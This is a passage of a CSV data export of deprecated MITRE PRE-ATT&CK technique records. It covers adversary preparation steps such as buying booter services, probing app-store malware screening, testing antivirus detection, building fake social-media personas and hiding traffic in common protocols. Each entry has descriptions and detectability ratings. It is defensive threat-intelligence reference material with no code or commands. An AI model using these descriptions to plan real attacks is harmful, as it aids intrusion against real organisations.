'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1396,mitre-pre-attack,T1396,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain booter/stressor subscription,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396). - -Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)",attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1173,"Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.",Yes,"Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1353', 'external_id': 'T1353'}, {'source_name': 'SofacyHits', 'description': ""Kaspersky Lab's Global Research & Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved March 9, 2017.""}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1353,mitre-pre-attack,T1353,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Post compromise tool development,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353). - -After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)",attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1130,Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.,Yes,"Adversary will likely use code repositories, but development will be performed on their local systems.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1239', 'external_id': 'T1239'}, {'source_name': 'AnalystsAndPolicymaking', 'description': 'Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-direction'}]",1.0,,https://attack.mitre.org/techniques/T1239,mitre-pre-attack,T1239,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Receive KITs/KIQs and determine requirements,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1239). - -Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)",attack-pattern--acfcbe7a-4dbc-4471-be2b-134faf479e3e,attack-pattern,['priority-definition-direction'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1016,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1290', 'external_id': 'T1290'}, {'source_name': 'CrowdStrike Putter Panda', 'description': 'Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.', 'url': 'http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1290,mitre-pre-attack,T1290,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Research visibility gap of security vendors,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290). - -If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)",attack-pattern--b26babc7-9127-4bd5-9750-5e49748c9be3,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1067,"Requires in-depth research and potentially other intrusions, requires unbounded amount of work to possibly find a return on investment",No,Public source external to the defender's organization.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1317', 'external_id': 'T1317'}, {'source_name': 'KrebsTerracottaVPN', 'description': 'Brian Krebs. (2014, August 4). Chinese VPN Service as Attack Platform?. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1317,mitre-pre-attack,T1317,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Secure and protect infrastructure,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317). - -An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)",attack-pattern--cc0faf66-4df2-4328-9c9c-b0ca5de915ad,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1094,"Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.",Yes,Indistinguishable from standard security practices employed by legitimate operators.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1393', 'external_id': 'T1393'}, {'source_name': 'Android Bouncer', 'description': 'Jon Oberheide and Charlie Miller. (2012). DISSECTING THE ANDROID BOUNCER. Retrieved April 12, 2017.'}, {'source_name': 'Adventures in BouncerLand', 'description': 'Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved April 12, 2017.'}, {'source_name': 'Jekyll on iOS', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013). Jekyll on iOS: When Benign Apps Become Evil. Retrieved April 12, 2017.'}, {'source_name': 'Fruit vs Zombies', 'description': 'Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1393,mitre-pre-attack,T1393,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test ability to evade automated mobile application security analysis performed by app stores,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393). - -Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)",attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1170,"An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).",Yes,"The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1292', 'external_id': 'T1292'}, {'source_name': 'WiredVirusTotal', 'description': 'Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1292,mitre-pre-attack,T1292,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test signature detection,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1292). - -An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)",attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1069,Easy to automate upload/email of a wide range of data packages.,Yes,"If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1362', 'external_id': 'T1362'}, {'source_name': 'APT1', 'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'}, {'source_name': 'RedOctober', 'description': 'GReAT. (2013, January 17). “Red October”. Detailed Malware Description 4. Second Stage of Attack. Retrieved March 7, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'stage-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1362,mitre-pre-attack,T1362,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Upload, install, and configure software/tools","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362). - -An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)",attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37,attack-pattern,['stage-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1139,"Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",Yes,"Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1266', 'external_id': 'T1266'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1266,mitre-pre-attack,T1266,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire OSINT data sets and information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266). - -Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)",attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a,attack-pattern,['people-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1043,"Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).",Yes,This activity is indistinguishable from legitimate business uses and easy to obtain.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1308', 'external_id': 'T1308'}, {'source_name': 'LUCKYCAT2012', 'description': 'Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'}, {'source_name': 'Nemucod Facebook', 'description': 'Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1308,mitre-pre-attack,T1308,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire and/or use 3rd party software services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308). - -A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)",attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1085,3rd party services like these listed are freely available.,Yes,Defender will not have visibility over account creation for 3rd party software services.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1293', 'external_id': 'T1293'}, {'source_name': 'Li2014ExploitKits', 'description': 'Brooks Li. (2014, December 17). What’s New in Exploit Kits in 2014. Retrieved March 6, 2017.'}, {'source_name': 'RecurlyGHOST', 'description': 'Mark Poole. (2015, January 27). GHOST vulnerability (CVE-2015-0235) in popular Linux library glibc allows remote code execution. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1293,mitre-pre-attack,T1293,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze application security posture,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293). - -An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)",attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1070,"Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).",Yes,This can be done offline after the data has been collected.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1300', 'external_id': 'T1300'}, {'source_name': 'FakeLinkedIn', 'description': 'LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1300,mitre-pre-attack,T1300,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze organizational skillsets and deficiencies,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1300). - -Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)",attack-pattern--7baccb84-356c-4e89-8c5d-58e701f033fc,attack-pattern,['organizational-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1077,Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.,Yes,This can be done offline after the data has been collected.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1306', 'external_id': 'T1306'}, {'source_name': 'TOR Design', 'description': 'Roger Dingledine, Nick Mathewson, Paul Syverson. (2004, August). Tor: The Second-Generation Onion Router. Retrieved March 28, 2017.'}, {'source_name': 'Stratfor2012', 'description': 'Sean Gallagher. (2012, March 6). Inside the hacking of Stratfor: the FBI’s case against Antisec member Anarchaos. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1306,mitre-pre-attack,T1306,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Anonymity services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1306). - -Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)",attack-pattern--d3dca536-8bf0-4e43-97c1-44a2353c3d69,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1083,"Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.",Yes,"Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1302', 'external_id': 'T1302'}, {'source_name': 'CyberPhysicalAssessment', 'description': 'Doug MacDonald, Samuel L Clements, Scott W Patrick, Casey Perkins, George Muller, Mary J Lancaster, Will Hutton. (2013, February). Cyber/physical security vulnerability assessment integration. Retrieved March 6, 2017.'}, {'source_name': 'CriticalInfrastructureAssessment', 'description': 'J. Depoy, J. Phelan, P. Sholander, B. Smith, G.B. Varnado and G. Wyss. (2015). RISK ASSESSMENT for PHYSICAL AND CYBER ATTACKS on CRITICAL INFRASTRUCTURES. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1302,mitre-pre-attack,T1302,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assess security posture of physical locations,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302). - -Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)",attack-pattern--31a57c70-6709-4d06-a473-c3df1f74c1d4,attack-pattern,['organizational-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1079,"Social engineering and OSINT are still generally successful. Physical locations of offices/sites are easily determined. Monitoring for other sites of interest, such as backup storage vendors, is also easy to accomplish.",Yes,"Physical security is often unaware of implications of physical access to network. However, some organizations have thorough physical security measures that would log and report attempted incursions, perimeter breaches, unusual RF at a site, etc.",Yes, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1381', 'url': 'https://attack.mitre.org/techniques/T1381'}, {'description': 'Gary Glover. (2015, June 25). Remote access threats are imminent. Retrieved March 31, 2017.', 'source_name': 'Remote Access Healthcare'}, {'description': 'Brian Prince. (2014, July 31). Hackers Turn Remote Desktop Tools Into Gateways for Point-of-Sale Malware Attacks. Retrieved March 31, 2017.', 'source_name': 'RDP Point of Sale'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1381,mitre-pre-attack,T1381,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Authentication attempt,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)",attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4,attack-pattern,['launch'],2020-03-30T14:13:56.705Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1158,"Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",Yes,"This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1341', 'external_id': 'T1341'}, {'source_name': 'NEWSCASTER2014', 'description': 'Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.', 'url': 'https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation'}, {'source_name': 'BlackHatRobinSage', 'description': 'Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.', 'url': 'http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf'}, {'source_name': 'RobinSageInterview', 'description': 'Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'persona-development'}]",1.0,,https://attack.mitre.org/techniques/T1341,mitre-pre-attack,T1341,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Build social network persona,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341). - -For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)",attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4,attack-pattern,['persona-development'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1118,"Performing activities like typical users, but with specific intent in mind.",Yes,"Unless there is some threat intelligence reporting, these users are hard to differentiate.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1321', 'external_id': 'T1321'}, {'source_name': 'symantecNITRO', 'description': 'Eric Chien and Gavin O’Gorman. (n.d.). The Nitro Attacks: Stealing Secrets from the Chemical Industry. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1321,mitre-pre-attack,T1321,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Common, high volume protocols and software","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321). - -Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)",attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1098,Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.,Yes,High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1254', 'external_id': 'T1254'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1254,mitre-pre-attack,T1254,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct active scanning,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1254). - -Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)",attack-pattern--7f2d3da6-7e34-44a3-9e7f-905455339726,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1031,"Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.",Yes,This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1249', 'external_id': 'T1249'}, {'source_name': 'SEAttackVectors', 'description': 'Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.'}, {'source_name': 'BeachSE2003', 'description': 'Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1249,mitre-pre-attack,T1249,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct social engineering,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249). - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)",attack-pattern--74a3288e-eee9-4f8e-973a-fbc128e033f1,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1026,Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.,Yes,No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1232', 'external_id': 'T1232'}, {'source_name': 'ChinaCollectionPlan', 'description': 'Thomas B Inglis. (1946, December 31). COLLECTION PLAN TO IMPLEMENT NATIONAL INTELLIGENCE REQUIREMENTS FOR CHINA. Retrieved March 2, 2017.'}, {'source_name': 'OrderOfBattle', 'description': 'Wikipedia contributors. (2016, November 20). Order of battle. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1232,mitre-pre-attack,T1232,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create implementation plan,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been 